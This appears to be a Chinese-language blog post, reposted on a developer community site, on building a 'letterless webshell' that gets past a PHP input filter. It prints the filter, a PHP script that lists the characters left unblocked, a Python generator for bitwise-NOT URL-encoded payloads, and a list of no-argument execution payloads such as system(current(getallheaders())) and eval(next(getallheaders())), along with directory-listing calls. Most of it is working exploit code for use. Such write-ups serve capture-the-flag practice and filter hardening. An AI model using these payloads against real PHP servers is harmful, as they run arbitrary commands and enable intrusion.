无字母webshell | Bypass-腾讯云开发者社区-腾讯云
这里记录一下
首先获取过滤
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code))
写个脚本看看还有什么没有被过滤
<?php
for ($ascii=0; $ascii < 256; $ascii++){
if(!preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',chr($ascii))){
echo chr($ascii);
}
}
过滤的很死 但是放出来了几个字符 我们去
构造取反
exp = ""
def urlbm(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:]
return f"[~{ss}][!%FF]("
while True:
fun = input("Firebasky>: ").strip(")").split("(")
exp = ''
for each in fun[:-1]:
exp += urlbm(each)
print(exp)
exp += ")" * (len(fun) - 1) + ";"
print(exp)
介绍一下原理
这里我们需要通过[] 来执行
[~%8f%97%8f%96%91%99%90] 这里是 [phpinfo]
[] 会进行执行 然后将返回内存存储为数组 然后我们需要取出数组内的东西
[~%8f%97%8f%96%91%99%90][!%ff] 这里是phpinfo
[!%ff] 这里类似于 [0] 会获取到第一位 即phpinfo
然后补上括号即可
[~%8f%97%8f%96%91%99%90][!%FF]();
代码执行成功
说明可行 那么我们就继续
这里我们需要思考如何可以
然后这里发现啥都没过滤 那么可以直接来执行咯
这里就按照其他师傅的样子 来请求头执行
system(current(getallheaders()));
执行命令
这里需要注意 这里是无参数命令执行 加入参数就无法实现
eval(hex2bin(session_id(session_start())));
print_r(current(get_defined_vars()));&b=phpinfo();
eval(next(getallheaders()));
var_dump(getenv(phpinfo()));
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd()))));//查看上一级目录的文件
这里就结束了